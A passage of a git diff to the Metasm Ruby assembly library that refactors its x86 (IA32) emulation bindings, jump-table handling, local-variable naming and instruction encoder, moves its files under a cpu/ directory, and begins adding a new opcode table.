       when 'add', 'sub', 'or', 'xor', 'and', 'pxor', 'adc', 'sbb'
@@ -360,7 +398,7 @@ class Ia32
       when 'pop'
         lambda { |di, a0| { esp => Expression[esp, :+, opsz(di)/8],
           a0 => Indirection[esp, opsz(di)/8, di.address] } }
-      when 'pushfd'
+      when 'pushfd', 'pushf'
         # TODO Unknown per bit
         lambda { |di|
           efl = Expression[0x202]
@@ -370,8 +408,8 @@ class Ia32
           bts[7, :eflag_s]
           bts[11, :eflag_o]
           { esp => Expression[esp, :-, opsz(di)/8], Indirection[esp, opsz(di)/8, di.address] => efl }
-               }
-      when 'popfd'
+        }
+      when 'popfd', 'popf'
         lambda { |di| bt = lambda { |pos| Expression[[Indirection[esp, opsz(di)/8, di.address], :>>, pos], :&, 1] }
           { esp => Expression[esp, :+, opsz(di)/8], :eflag_c => bt[0], :eflag_z => bt[6], :eflag_s => bt[7], :eflag_o => bt[11] } }
       when 'sahf'
@@ -409,9 +447,25 @@ class Ia32
           ret
         }
       when 'call'
-        lambda { |di, a0| { esp => Expression[esp, :-, opsz(di)/8],
-          Indirection[esp, opsz(di)/8, di.address] => Expression[di.next_addr] } }
+        lambda { |di, a0|
+          sz = opsz(di)/8
+          if a0.kind_of? Farptr
+            { esp => Expression[esp, :-, 2*sz],
+              Indirection[esp, sz, di.address] => Expression[di.next_addr],
+              Indirection[[esp, :+, sz], sz, di.address] => Expression::Unknown }
+          else
+            { esp => Expression[esp, :-, sz],
+              Indirection[esp, sz, di.address] => Expression[di.next_addr] }
+          end
+        }
+      when 'callf'
+        lambda { |di, a0|
+          sz = opsz(di)/8
+          { esp => Expression[esp, :-, 2*sz],
+            Indirection[esp, sz, di.address] => Expression[di.next_addr],
+            Indirection[[esp, :+, sz], sz, di.address] => Expression::Unknown } }
       when 'ret'; lambda { |di, *a| { esp => Expression[esp, :+, [opsz(di)/8, :+, a[0] || 0]] } }
+      when 'retf';lambda { |di, *a| { esp => Expression[esp, :+, [opsz(di)/4, :+, a[0] || 0]] } }
       when 'loop', 'loopz', 'loopnz'; lambda { |di, a0| { ecx => Expression[ecx, :-, 1] } }
       when 'enter'
         lambda { |di, a0, a1|
@@ -424,7 +478,7 @@ class Ia32
           (1..depth).each { |i|
             b[Indirection[[esp, :+, a0.reduce+i*sz], sz, di.address]] =
             b[Indirection[[ebp, :-, i*sz], sz, di.address]] =
-                     Expression::Unknown # TODO Indirection[[ebp, :-, i*sz], sz, di.address]
+              Expression::Unknown # TODO Indirection[[ebp, :-, i*sz], sz, di.address]
           }
           b
         }
@@ -432,18 +486,43 @@ class Ia32
       when 'aaa'; lambda { |di| { eax => Expression::Unknown, :incomplete_binding => Expression[1] } }
       when 'imul'
         lambda { |di, *a|
-          # 1 operand form == same as 'mul' (ax:dx stuff)
-          next { eax => Expression::Unknown, edx => Expression::Unknown, :incomplete_binding => Expression[1] } if not a[1]
+          if not a[1]
+            # 1 operand from: store result in edx:eax
+            bd = {}
+            m = mask[di]
+            s = opsz(di)
+            e = Expression[Expression.make_signed(Expression[a[0], :&, m], s), :*, Expression.make_signed(Expression[eax, :&, m], s)]
+            if s == 8
+              bd[Expression[eax, :&, 0xffff]] = e
+            else
+              bd[Expression[eax, :&, m]] = Expression[e, :&, m]
+              bd[Expression[edx, :&, m]] = Expression[[e, :>>, opsz(di)], :&, m]
+            end
+            # XXX eflags?
+            next bd
+          end
 
           if a[2]; e = Expression[a[1], :*, a[2]]
           else e = Expression[[a[0], :*, a[1]], :&, (1 << (di.instruction.args.first.sz || opsz(di))) - 1]
           end
           { a[0] => e }
         }
-      when 'mul', 'div', 'idiv'; lambda { |di, *a| { eax => Expression::Unknown, edx => Expression::Unknown, :incomplete_binding => Expression[1] } }
+      when 'mul'
+        lambda { |di, *a|
+          m = mask[di]
+          e = Expression[a, :*, [eax, :&, m]]
+          if opsz(di) == 8
+            { Expression[eax, :&, 0xffff] => e }
+          else
+            { Expression[eax, :&, m] => Expression[e, :&, m],
+              Expression[edx, :&, m] => Expression[[e, :>>, opsz(di)], :&, m] }
+          end
+        }
+      when 'div', 'idiv'; lambda { |di, *a| { eax => Expression::Unknown, edx => Expression::Unknown, :incomplete_binding => Expression[1] } }
       when 'rdtsc'; lambda { |di| { eax => Expression::Unknown, edx => Expression::Unknown, :incomplete_binding => Expression[1] } }
       when /^(stos|movs|lods|scas|cmps)[bwd]$/
-        lambda { |di|
+        lambda { |di, *a|
+          next {:incomplete_binding => 1} if di.opcode.args.include?(:regxmm)	# XXX movsd xmm0, xmm1...
           op =~ /^(stos|movs|lods|scas|cmps)([bwd])$/
           e_op = $1
           sz = { 'b' => 1, 'w' => 2, 'd' => 4 }[$2]
@@ -503,7 +582,7 @@ class Ia32
           ret
         }
       when 'fstenv', 'fnstenv'
-               lambda { |di, a0|
+        lambda { |di, a0|
           # stores the address of the last non-control fpu instr run
           lastfpuinstr = di.block.list[0...di.block.list.index(di)].reverse.find { |pdi|
             case pdi.opcode.name
@@ -532,7 +611,8 @@ class Ia32
         a0 => Expression[a0, :^, [1, :<<, [a1, :%, opsz(di)]]] } }
       when 'bswap'
         lambda { |di, a0|
-          if opsz(di) == 64
+          case opsz(di)
+          when 64
             { a0 => Expression[
               [[[[a0, :&, 0xff000000_00000000], :>>, 56],   :|,
                 [[a0, :&, 0x00ff0000_00000000], :>>, 40]],  :|,
@@ -542,12 +622,15 @@ class Ia32
                 [[a0, :&, 0x00000000_00ff0000], :<<, 24]],  :|,
                [[[a0, :&, 0x00000000_0000ff00], :<<, 40],   :|,
                 [[a0, :&, 0x00000000_000000ff], :<<, 56]]]] }
-          else	# XXX opsz != 32 => undef
+          when 32
             { a0 => Expression[
               [[[a0, :&, 0xff000000], :>>, 24],  :|,
                [[a0, :&, 0x00ff0000], :>>,  8]], :|,
               [[[a0, :&, 0x0000ff00], :<<,  8],  :|,
                [[a0, :&, 0x000000ff], :<<, 24]]] }
+          when 16
+            # bswap ax => mov ax, 0
+            { a0 => 0 }
           end
         }
       when 'nop', 'pause', 'wait', 'cmp', 'test'; lambda { |di, *a| {} }
@@ -672,6 +755,30 @@ class Ia32
     end
   end
 
+  # patch a forward binding from the backtrace binding
+  # fixes fwdemu for push/pop/call/ret
+  def fix_fwdemu_binding(di, fbd)
+    if di.instruction.args.grep(ModRM).find { |m| m.seg and m.symbolic(di).target.lexpr =~ /^segment_base_/ }
+      fbd = fbd.dup
+      fbd[:incomplete_binding] = Expression[1]
+    end
+
+    case di.opcode.name
+    when 'push', 'call'
+      fbd = fbd.dup
+      sz = opsz(di)/8
+      esp = register_symbols[4]
+      if i = fbd.delete(Indirection[esp, sz])
+        fbd[Indirection[[esp, :-, sz], sz]] = i
+      end
+    when 'pop', 'ret' # nothing to do
+    when /^(push|pop|call|ret|enter|leave|stos|movs|lods|scas|cmps)/
+      fbd = fbd.dup
+      fbd[:incomplete_binding] = Expression[1]	# TODO
+    end
+    fbd
+  end
+
   def get_xrefs_x(dasm, di)
     return [] if not di.opcode.props[:setip]
 
@@ -680,8 +787,8 @@ class Ia32
     when 'ret'; return [Indirection[register_symbols[4], sz/8, di.address]]
     when 'jmp', 'call'
       a = di.instruction.args.first
-      if dasm and a.kind_of?(ModRM) and a.imm and a.s == sz/8 and not a.b and dasm.get_section_at(a.imm)
-        return get_xrefs_x_jmptable(dasm, di, a, sz)
+      if dasm and a.kind_of?(ModRM) and a.imm and (a.s == sz/8 or a.s == 4) and not a.b and dasm.get_section_at(a.imm)
+        return get_xrefs_x_jmptable(dasm, di, a, a.s*8)
       end
     end
 
@@ -721,6 +828,19 @@ class Ia32
       }
       l = dasm.auto_label_at(mrm.imm, 'jmp_table', 'xref')
       replace_instr_arg_immediate(di.instruction, mrm.imm, Expression[l])
+      # add 'case 1' comments
+      cases = {}
+      ret.each_with_index { |ind, idx|
+        idx -= 1	# ret[0] = symbolic
+        next if idx < 0
+        a = dasm.backtrace(ind, di.address)
+        if a.length == 1 and a[0].kind_of?(Expression) and addr = a[0].reduce and addr.kind_of?(::Integer)
+          (cases[addr] ||= []) << idx
+        end
+      }
+      cases.each { |addr, list|
+        dasm.add_comment(addr, "case #{list.join(', ')}:")
+      }
       return ret
     end
 
@@ -732,7 +852,7 @@ class Ia32
       s = dasm.get_section_at(mrm.imm)
       v = 0
     end
-    loop do
+    while s[0].ptr < s[0].length
       ptr = dasm.normalize s[0].decode_imm("u#{sz}".to_sym, @endianness)
       diff = Expression[ptr, :-, di.address].reduce
       if (diff.kind_of? ::Integer and diff.abs < 4096) or (di.opcode.basename == 'call' and ptr != 0 and dasm.get_section_at(ptr))
@@ -1161,5 +1281,46 @@ class Ia32
 
     binding
   end
+
+  # trace the stack pointer register across a function, rename occurences of esp+XX to esp+var_XX
+  def name_local_vars(dasm, funcaddr)
+    esp = register_symbols[4]
+    func = dasm.function[funcaddr]
+    subs = []
+    dasm.trace_function_register(funcaddr, esp => 0) { |di, r, off, trace|
+      next if r.to_s =~ /flag/
+      if di.opcode.name == 'call' and tf = di.block.to_normal.find { |t| dasm.function[t] and dasm.function[t].localvars }
+        subs << [trace[esp], dasm.function[tf].localvars]
+      end
+      di.instruction.args.grep(ModRM).each { |mrm|
+        b = mrm.b || (mrm.i if mrm.s == 1)
+        # its a modrm => b is read, so ignore r/off (not yet applied), use trace only
+        stackoff = trace[b.symbolic] if b
+        next if not stackoff
+        imm = mrm.imm || Expression[0]
+        frameoff = imm + stackoff
+        if frameoff.kind_of?(::Integer)
+          # XXX register args ? non-ABI standard register args ? (eg optimized x64)
+          str = 'var_%X' % (-frameoff)
+          str = 'arg_%X' % (frameoff-@size/8) if frameoff > 0
+          str = func.get_localvar_stackoff(frameoff, di, str) if func
+          imm = imm.expr if imm.kind_of?(ExpressionString)
+          mrm.imm = ExpressionString.new(imm, str, :stackvar)
+        end
+      }
+      off = off.reduce if off.kind_of?(Expression)
+      next unless off.kind_of?(Integer)
+      off
+    }
+    # if subfunctions are called at a fixed stack offset, rename var_3c -> subarg_0
+    if func and func.localvars and not subs.empty? and subs.all? { |sb| sb[0] == subs.first[0] }
+      func.localvars.each { |varoff, varname|
+        subargnames = subs.map { |o, sb| sb[varoff-o+@size/8] }.compact
+        if subargnames.uniq.length == 1
+          varname.replace 'sub'+subargnames[0]
+        end
+      }
+    end
+  end
 end
 end
diff --git a/lib/metasm/metasm/ia32/decompile.rb b/lib/metasm/metasm/cpu/ia32/decompile.rb
similarity index 98%
rename from lib/metasm/metasm/ia32/decompile.rb
rename to lib/metasm/metasm/cpu/ia32/decompile.rb
index dd2dad6e88..06035defd7 100644
--- a/lib/metasm/metasm/ia32/decompile.rb
+++ b/lib/metasm/metasm/cpu/ia32/decompile.rb
@@ -4,7 +4,7 @@
 #    Licence is LGPL, see LICENCE in the top-level directory
 
 
-require 'metasm/ia32/main'
+require 'metasm/cpu/ia32/main'
 
 module Metasm
 class Ia32
@@ -52,7 +52,7 @@ class Ia32
   # returns { blockaddr => [list of vars that are needed by a following block] }
   def decompile_func_finddeps(dcmp, blocks, func)
     deps_r = {} ; deps_w = {} ; deps_to = {}
-    deps_subfunc = {} 	# things read/written by subfuncs
+    deps_subfunc = {}	# things read/written by subfuncs
 
     # find read/writes by each block
     blocks.each { |b, to|
@@ -70,7 +70,7 @@ class Ia32
           end
         }
         a << :eax if di.opcode.name == 'ret' and (not func.type.kind_of? C::BaseType or func.type.type.name != :void)	# standard ABI
-        
+
         deps_r[b] |= a.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] - deps_w[b]
         deps_w[b] |= w.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown]
       }
@@ -121,7 +121,7 @@ class Ia32
             end
           }
           a << :eax if di.opcode.name == 'ret' and (not func.type.kind_of? C::BaseType or func.type.type.name != :void)	# standard ABI
-          
+
           next true if (a.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown] - bw).include? r
           bw |= w.map { |ee| Expression[ee].externals.grep(::Symbol) }.flatten - [:unknown]
           false
@@ -290,7 +290,7 @@ class Ia32
           # mov cr0 etc
           a1, a2 = di.instruction.args
           case a1
-          when Ia32::CtrlReg, Ia32::DbgReg, Ia32::SegReg
+          when Ia32::CtrlReg, Ia32::DbgReg, Ia32::TstReg, Ia32::SegReg
             sz = a1.kind_of?(Ia32::SegReg) ? 16 : 32
             if not dcmp.c_parser.toplevel.symbol["intrinsic_set_#{a1}"]
               dcmp.c_parser.parse("void intrinsic_set_#{a1}(__int#{sz});")
@@ -302,7 +302,7 @@ class Ia32
             next
           end
           case a2
-          when Ia32::CtrlReg, Ia32::DbgReg, Ia32::SegReg
+          when Ia32::CtrlReg, Ia32::DbgReg, Ia32::TstReg, Ia32::SegReg
             if not dcmp.c_parser.toplevel.symbol["intrinsic_get_#{a2}"]
               sz = a2.kind_of?(Ia32::SegReg) ? 16 : 32
               dcmp.c_parser.parse("__int#{sz} intrinsic_get_#{a2}(void);")
@@ -369,7 +369,7 @@ class Ia32
           #		to.delete addr
           #		next if not l = dcmp.dasm.get_label_at(addr)
           #		sw.body.statements << C::Goto.new(l)
- 					#	}
+          #	}
           #	stmts << sw
           a = di.instruction.args.first
           if a.kind_of? Expression
@@ -512,9 +512,9 @@ class Ia32
       dcmp.dasm.decoded[b_].block.list.each { |di|
         di.backtrace_binding = nil
       }
-           }
+    }
   end
-  
+
   def decompile_check_abi(dcmp, entry, func)
     a = func.type.args || []
     a.delete_if { |arg| arg.has_attribute_var('register') and arg.has_attribute('unused') }
diff --git a/lib/metasm/metasm/ia32/encode.rb b/lib/metasm/metasm/cpu/ia32/encode.rb
similarity index 90%
rename from lib/metasm/metasm/ia32/encode.rb
rename to lib/metasm/metasm/cpu/ia32/encode.rb
index 89f044e263..bda4feb6b9 100644
--- a/lib/metasm/metasm/ia32/encode.rb
+++ b/lib/metasm/metasm/cpu/ia32/encode.rb
@@ -4,7 +4,7 @@
 #    Licence is LGPL, see LICENCE in the top-level directory
 
 
-require 'metasm/ia32/opcodes'
+require 'metasm/cpu/ia32/opcodes'
 require 'metasm/encode'
 
 module Metasm
@@ -195,27 +195,28 @@ class Ia32
       case k
       when :jmp;  {:jmp => 0x3e, :nojmp => 0x2e}[v]
       when :lock; 0xf0
-      when :rep;  {'repnz' => 0xf2, 'repz' => 0xf3, 'rep' => 0xf2}[v] # TODO
+      when :rep;  {'repnz' => 0xf2, 'repz' => 0xf3, 'rep' => 0xf2}[v]
+      when :jmphint; {'hintjmp' => 0x3e, 'hintnojmp' => 0x2e}[v]
+      when :seg; [0x26, 0x2E, 0x36, 0x3E, 0x64, 0x65][v.val]
       end
     }.compact.pack 'C*'
-    pfx << op.props[:needpfx] if op.props[:needpfx]
 
     if op.name == 'movsx' or op.name == 'movzx'
       pfx << 0x66 if size == 48-i.args[0].sz
+    elsif op.name == 'crc32'
+      pfx << 0x66 if size == 48-i.args[1].sz
     else
       opsz = op.props[:argsz]
       oi.each { |oa, ia|
         case oa
-        when :reg, :reg_eax, :modrm, :modrmA, :mrm_imm
+        when :reg, :reg_eax, :modrm, :mrm_imm
           raise EncodeError, "Incompatible arg size in #{i}" if ia.sz and opsz and opsz != ia.sz
           opsz = ia.sz
         end
       }
-      pfx << 0x66 if (not op.props[:argsz] or opsz != op.props[:argsz]) and (
-        (opsz and size == 48 - opsz) or (op.props[:opsz] and op.props[:opsz] != size))
-      if op.props[:opsz] and size == 48 - op.props[:opsz]
-        opsz = op.props[:opsz]
-      end
+      pfx << 0x66 if (op.props[:opsz] and size == 48 - op.props[:opsz]) or
+          (not op.props[:argsz] and opsz and size == 48 - opsz)
+      opsz ||= op.props[:opsz]
     end
     opsz ||= size
 
@@ -226,7 +227,7 @@ class Ia32
     adsz ||= size
     # addrsize override / segment override
     if mrm = i.args.grep(ModRM).first
-      if not op.props[:adsz] and ((mrm.b and mrm.b.sz != adsz) or (mrm.i and mrm.i.sz != adsz))
+      if not op.props[:adsz] and ((mrm.b and mrm.b.sz == 48 - adsz) or (mrm.i and mrm.i.sz == 48 - adsz))
         pfx << 0x67
         adsz = 48 - adsz
       end
@@ -240,10 +241,12 @@ class Ia32
     postponed = []
     oi.each { |oa, ia|
       case oa
-      when :reg, :seg3, :seg3A, :seg2, :seg2A, :eeec, :eeed, :regfp, :regmmx, :regxmm
+      when :reg, :seg3, :seg3A, :seg2, :seg2A, :eeec, :eeed, :eeet, :regfp, :regmmx, :regxmm, :regymm
         # field arg
         set_field[oa, ia.val]
         pfx << 0x66 if oa == :regmmx and op.props[:xmmx] and ia.sz == 128
+      when :vexvreg, :vexvxmm, :vexvymm
+        set_field[:vex_vvvv, ia.val ^ 0xf]
       when :imm_val1, :imm_val3, :reg_cl, :reg_eax, :reg_dx, :regfp0
         # implicit
       else
@@ -251,7 +254,7 @@ class Ia32
       end
     }
 
-    if !(op.args & [:modrm, :modrmA, :modrmxmm, :modrmmmx]).empty?
+    if !(op.args & [:modrm, :modrmmmx, :modrmxmm, :modrmymm]).empty?
       # reg field of modrm
       regval = (base[-1] >> 3) & 7
       base.pop
@@ -265,6 +268,8 @@ class Ia32
       postponed.first[1] = Expression[target, :-, postlabel]
     end
 
+    pfx << op.props[:needpfx] if op.props[:needpfx]
+
     #
     # append other arguments
     #
@@ -273,7 +278,7 @@ class Ia32
     postponed.each { |oa, ia|
       case oa
       when :farptr; ed = ia.encode(@endianness, "a#{opsz}".to_sym)
-      when :modrm, :modrmA, :modrmmmx, :modrmxmm
+      when :modrm, :modrmmmx, :modrmxmm, :modrmymm
         if ia.kind_of? ModRM
           ed = ia.encode(regval, @endianness)
           if ed.kind_of?(::Array)
@@ -295,6 +300,7 @@ class Ia32
       when :mrm_imm; ed = ia.imm.encode("a#{adsz}".to_sym, @endianness)
       when :i8, :u8, :u16; ed = ia.encode(oa, @endianness)
       when :i; ed = ia.encode("a#{opsz}".to_sym, @endianness)
+      when :i4xmm, :i4ymm; ed = ia.val << 4	# u8
       else raise SyntaxError, "Internal error: want to encode field #{oa.inspect} as arg in #{i}"
       end
 
diff --git a/lib/metasm/metasm/ia32/main.rb b/lib/metasm/metasm/cpu/ia32/main.rb
similarity index 78%
rename from lib/metasm/metasm/ia32/main.rb
rename to lib/metasm/metasm/cpu/ia32/main.rb
index 3993da8994..ac2fc115ba 100644
--- a/lib/metasm/metasm/ia32/main.rb
+++ b/lib/metasm/metasm/cpu/ia32/main.rb
@@ -34,6 +34,10 @@ class Ia32 < CPU
           @val = v
         end
 
+        def ==(o)
+          self.class == o.class and val == o.val
+        end
+
         def self.from_str(s) new(@s_to_i[s]) end
       }
     end
@@ -53,13 +57,16 @@ class Ia32 < CPU
           @sz = sz
         end
 
+        def ==(o)
+          self.class == o.class and val == o.val and sz == o.sz
+        end
+
         def self.from_str(s)
           raise "Bad #{name} #{s.inspect}" if not x = @s_to_i[s]
           new(*x)
         end
       }
     end
-
   end
 
 
@@ -78,15 +85,21 @@ class Ia32 < CPU
     simple_map((0..7).map { |i| [i, "cr#{i}"] })
   end
 
+  # test registers (tr0..tr7) (undocumented)
+  class TstReg < Argument
+    simple_map((0..7).map { |i| [i, "tr#{i}"] })
+  end
+
   # floating point registers
   class FpReg < Argument
     simple_map((0..7).map { |i| [i, "ST(#{i})"] } << [nil, 'ST'])
   end
 
-  # a single operation multiple data register (mm0..mm7, xmm0..xmm7)
+  # Single Instr Multiple Data register (mm0..mm7, xmm0..xmm7, ymm0..ymm7)
   class SimdReg < Argument
     double_map  64 => (0..7).map { |n| "mm#{n}" },
-         128 => (0..7).map { |n| "xmm#{n}" }
+         128 => (0..7).map { |n| "xmm#{n}" },
+         256 => (0..7).map { |n| "ymm#{n}" }
     def symbolic(di=nil) ; to_s.to_sym end
   end
 
@@ -128,12 +141,16 @@ class Ia32 < CPU
     def initialize(seg, addr)
       @seg, @addr = seg, addr
     end
+
+    def ==(o)
+      self.class == o.class and seg == o.seg and addr == o.addr
+    end
   end
 
   # ModRM represents indirections in x86 (eg dword ptr [eax+4*ebx+12h])
   class ModRM < Argument
     # valid combinaisons for a modrm
-    # ints are reg indexes, symbols are immediates, except :sib 
+    # ints are reg indexes, symbols are immediates, except :sib
     Sum = {
         16 => {
       0 => [ [3, 6], [3, 7], [5, 6], [5, 7], [6], [7], [:i16], [3] ],
@@ -175,6 +192,10 @@ class Ia32 < CPU
       p = Expression["segment_base_#@seg", :+, p] if seg and seg.val != ((b && (@b.val == 4 || @b.val == 5)) ? 2 : 3)
       Indirection[p.reduce, @sz/8, (di.address if di)]
     end
+
+    def ==(o)
+      self.class == o.class and s == o.s and i == o.i and b == o.b and imm == o.imm and seg == o.seg and adsz == o.adsz and sz == o.sz
+    end
   end
 
 
@@ -217,17 +238,44 @@ class Ia32 < CPU
     pp.define_weak('__i386__')
   end
 
-  # returns a Reg object if the arg is a valid register (eg 'ax' => Reg.new(0, 16))
+  # returns a Reg/SimdReg object if the arg is a valid register (eg 'ax' => Reg.new(0, 16))
   # returns nil if str is invalid
   def str_to_reg(str)
-    Reg.from_str(str) if Reg.s_to_i.has_key? str
+    Reg.s_to_i.has_key?(str) ? Reg.from_str(str) : SimdReg.s_to_i.has_key?(str) ? SimdReg.from_str(str) : nil
+  end
+
+  # returns the list of Regs in the instruction arguments
+  # may be converted into symbols through Reg#symbolic
+  def instr_args_regs(i)
+    i = i.instruction if i.kind_of?(DecodedInstruction)
+    i.args.grep(Reg)
+  end
+
+  # returns the list of ModRMs in the instruction arguments
+  # may be converted into Indirection through ModRM#symbolic
+  def instr_args_memoryptr(i)
+    i = i.instruction if i.kind_of?(DecodedInstruction)
+    i.args.grep(ModRM)
+  end
+
+  # return the 'base' of the ModRM (Reg/nil)
+  def instr_args_memoryptr_getbase(mrm)
+    mrm.b || (mrm.i if mrm.s == 1)
+  end
+
+  # return the offset of the ModRM (Expression/nil)
+  def instr_args_memoryptr_getoffset(mrm)
+    mrm.imm
+  end
+
+  # define ModRM offset (eg to changing imm into an ExpressionString)
+  def instr_args_memoryptr_setoffset(mrm, imm)
+    mrm.imm = (imm ? Expression[imm] : imm)
   end
 
   def shortname
     "ia32#{'_16' if @size == 16}#{'_be' if @endianness == :big}"
   end
 end
-
 X86 = Ia32
-
 end
diff --git a/lib/metasm/metasm/cpu/ia32/opcodes.rb b/lib/metasm/metasm/cpu/ia32/opcodes.rb
new file mode 100644
index 0000000000..0aa16cbf43
--- /dev/null
+++ b/lib/metasm/metasm/cpu/ia32/opcodes.rb
@@ -0,0 +1,1424 @@
+#    This file is part of Metasm, the Ruby assembly manipulation suite
+#    Copyright (C) 2006-2009 Yoann GUILLOT
+#
+#    Licence is LGPL, see LICENCE in the top-level directory
+
+
+require 'metasm/cpu/ia32/main'
+
+module Metasm
+class Ia32
+  def init_cpu_constants
+    @opcode_list ||= []
+    @fields_mask.update :w => 1, :s => 1, :d => 1, :modrm => 0xC7,
+      :reg => 7, :eeec => 7, :eeed => 7, :eeet => 7, :seg2 => 3, :seg3 => 7,
+      :regfp => 7, :regmmx => 7, :regxmm => 7, :regymm => 7,
+      :vex_r => 1, :vex_b => 1, :vex_x => 1, :vex_w => 1,
+      :vex_vvvv => 0xF
+    @fields_mask[:seg2A]    = @fields_mask[:seg2]
+    @fields_mask[:seg3A]    = @fields_mask[:seg3]
+
+    [:i, :i8, :u8, :u16, :reg, :seg2, :seg2A,
+     :seg3, :seg3A, :eeec, :eeed, :eeet, :modrm, :mrm_imm,
+     :farptr, :imm_val1, :imm_val3, :reg_cl, :reg_eax,
+     :reg_dx, :regfp, :regfp0, :modrmmmx, :regmmx,
+     :modrmxmm, :regxmm, :modrmymm, :regymm,
+     :vexvxmm, :vexvymm, :vexvreg, :i4xmm, :i4ymm
+    ].each { |a| @valid_args[a] = true }
+
+    [:strop, :stropz, :opsz, :adsz, :argsz, :setip,
+     :stopexec, :saveip, :unsigned_imm, :random, :needpfx,
+     :xmmx, :modrmR, :modrmA, :mrmvex
+    ].each { |a| @valid_props[a] = true }
+  end
+
+  # only most common instructions from the 386 instruction set
+  # inexhaustive list :
+  # no aaa, arpl, mov crX, call/jmp/ret far, in/out, bts, xchg...
+  def init_386_common_only
+    init_cpu_constants
+
+    addop_macro1 'adc', 2
+    addop_macro1 'add', 0
+    addop_macro1 'and', 4, :unsigned_imm
+    addop 'bswap', [0x0F, 0xC8], :reg
+    addop 'call',  [0xE8], nil, :stopexec, :setip, :i, :saveip
+    addop 'call',  [0xFF], 2, :stopexec, :setip, :saveip
+    addop('cbw',   [0x98]) { |o| o.props[:opsz] = 16 }
+    addop('cwde',  [0x98]) { |o| o.props[:opsz] = 32 }
+    addop('cwd',   [0x99]) { |o| o.props[:opsz] = 16 }
+    addop('cdq',   [0x99]) { |o| o.props[:opsz] = 32 }
+    addop_macro1 'cmp', 7
+    addop_macrostr 'cmps',  [0xA6], :stropz
+    addop 'dec',   [0x48], :reg
+    addop 'dec',   [0xFE], 1,    {:w => [0, 0]}
+    addop 'div',   [0xF6], 6,    {:w => [0, 0]}
+    addop 'enter', [0xC8], nil, :u16, :u8
+    addop 'idiv',  [0xF6], 7,    {:w => [0, 0]}
+    addop 'imul',  [0xF6], 5,    {:w => [0, 0]}	# implicit eax, but different semantic from imul eax, ebx (the implicit version updates edx:eax)
+    addop 'imul',  [0x0F, 0xAF], :mrm
+    addop 'imul',  [0x69], :mrm, {:s => [0, 1]}, :i
+    addop 'inc',   [0x40], :reg
+    addop 'inc',   [0xFE], 0,    {:w => [0, 0]}
+    addop 'int',   [0xCC], nil, :imm_val3, :stopexec
+    addop 'int',   [0xCD], nil, :u8
+    addop_macrotttn 'j', [0x70], nil, :setip, :i8
+    addop_macrotttn('j', [0x70], nil, :setip, :i8) { |o| o.name << '.i8' }
+    addop_macrotttn 'j', [0x0F, 0x80], nil, :setip, :i
+    addop_macrotttn('j', [0x0F, 0x80], nil, :setip, :i) { |o| o.name << '.i' }
+    addop 'jmp',   [0xE9], nil,  {:s => [0, 1]}, :setip, :i,  :stopexec
+    addop 'jmp',   [0xFF], 4, :setip, :stopexec
+    addop 'lea',   [0x8D], :mrmA
+    addop 'leave', [0xC9]
+    addop_macrostr 'lods',  [0xAC], :strop
+    addop 'loop',  [0xE2], nil, :setip, :i8
+    addop 'loopz', [0xE1], nil, :setip, :i8
+    addop 'loope', [0xE1], nil, :setip, :i8
+    addop 'loopnz',[0xE0], nil, :setip, :i8
+    addop 'loopne',[0xE0], nil, :setip, :i8
+    addop 'mov',   [0xA0], nil,  {:w => [0, 0], :d => [0, 1]}, :reg_eax, :mrm_imm
+    addop('mov',   [0x88], :mrmw,{:d => [0, 1]}) { |o| o.args.reverse! }
+    addop 'mov',   [0xB0], :reg, {:w => [0, 3]}, :i, :unsigned_imm
+    addop 'mov',   [0xC6], 0,    {:w => [0, 0]}, :i, :unsigned_imm
+    addop_macrostr 'movs',  [0xA4], :strop
+    addop 'movsx', [0x0F, 0xBE], :mrmw
+    addop 'movzx', [0x0F, 0xB6], :mrmw
+    addop 'mul',   [0xF6], 4,    {:w => [0, 0]}
+    addop 'neg',   [0xF6], 3,    {:w => [0, 0]}
+    addop 'nop',   [0x90]
+    addop 'not',   [0xF6], 2,    {:w => [0, 0]}
+    addop_macro1 'or', 1, :unsigned_imm
+    addop 'pop',   [0x58], :reg
+    addop 'pop',   [0x8F], 0
+    addop 'push',  [0x50], :reg
+    addop 'push',  [0xFF], 6
+    addop 'push',  [0x68], nil,  {:s => [0, 1]}, :i, :unsigned_imm
+    addop 'ret',   [0xC3], nil, :stopexec, :setip
+    addop 'ret',   [0xC2], nil, :stopexec, :u16, :setip
+    addop_macro3 'rol', 0
+    addop_macro3 'ror', 1
+    addop_macro3 'sar', 7
+    addop_macro1 'sbb', 3
+    addop_macrostr 'scas',  [0xAE], :stropz
+    addop_macrotttn('set', [0x0F, 0x90], 0) { |o| o.props[:argsz] = 8 }
+    addop_macrotttn('set', [0x0F, 0x90], :mrm) { |o| o.props[:argsz] = 8 ; o.args.reverse! }	# :reg field is unused
+    addop_macro3 'shl', 4
+    addop_macro3 'sal', 6
+    addop 'shld',  [0x0F, 0xA4], :mrm, :u8
+    addop 'shld',  [0x0F, 0xA5], :mrm, :reg_cl
+    addop_macro3 'shr', 5
+    addop 'shrd',  [0x0F, 0xAC], :mrm, :u8
+    addop 'shrd',  [0x0F, 0xAD], :mrm, :reg_cl
+    addop_macrostr 'stos',  [0xAA], :strop
+    addop_macro1 'sub', 5
+    addop 'test',  [0x84], :mrmw
+    addop 'test',  [0xA8], nil,  {:w => [0, 0]}, :reg_eax, :i, :unsigned_imm
+    addop 'test',  [0xF6], 0,    {:w => [0, 0]}, :i, :unsigned_imm
+    addop 'xchg',  [0x90], :reg, :reg_eax
+    addop('xchg',  [0x90], :reg, :reg_eax) { |o| o.args.reverse! }	# xchg eax, ebx == xchg ebx, eax)
+    addop 'xchg',  [0x86], :mrmw
+    addop('xchg',  [0x86], :mrmw) { |o| o.args.reverse! }
+    addop_macro1 'xor', 6, :unsigned_imm
+  end
+
+  def init_386_only
+    init_cpu_constants
+
+    addop 'aaa',   [0x37]
+    addop 'aad',   [0xD5, 0x0A]
+    addop 'aam',   [0xD4, 0x0A]
+    addop 'aas',   [0x3F]
+    addop('arpl',  [0x63], :mrm) { |o| o.props[:argsz] = 16 ; o.args.reverse! }
+    addop 'bound', [0x62], :mrmA
+    addop 'bsf',   [0x0F, 0xBC], :mrm
+    addop 'bsr',   [0x0F, 0xBD], :mrm
+    addop_macro2 'bt' , 0
+    addop_macro2 'btc', 3
+    addop_macro2 'btr', 2
+    addop_macro2 'bts', 1
+    addop 'call',  [0x9A], nil, :stopexec, :setip, :farptr, :saveip
+    addop 'callf', [0x9A], nil, :stopexec, :setip, :farptr, :saveip
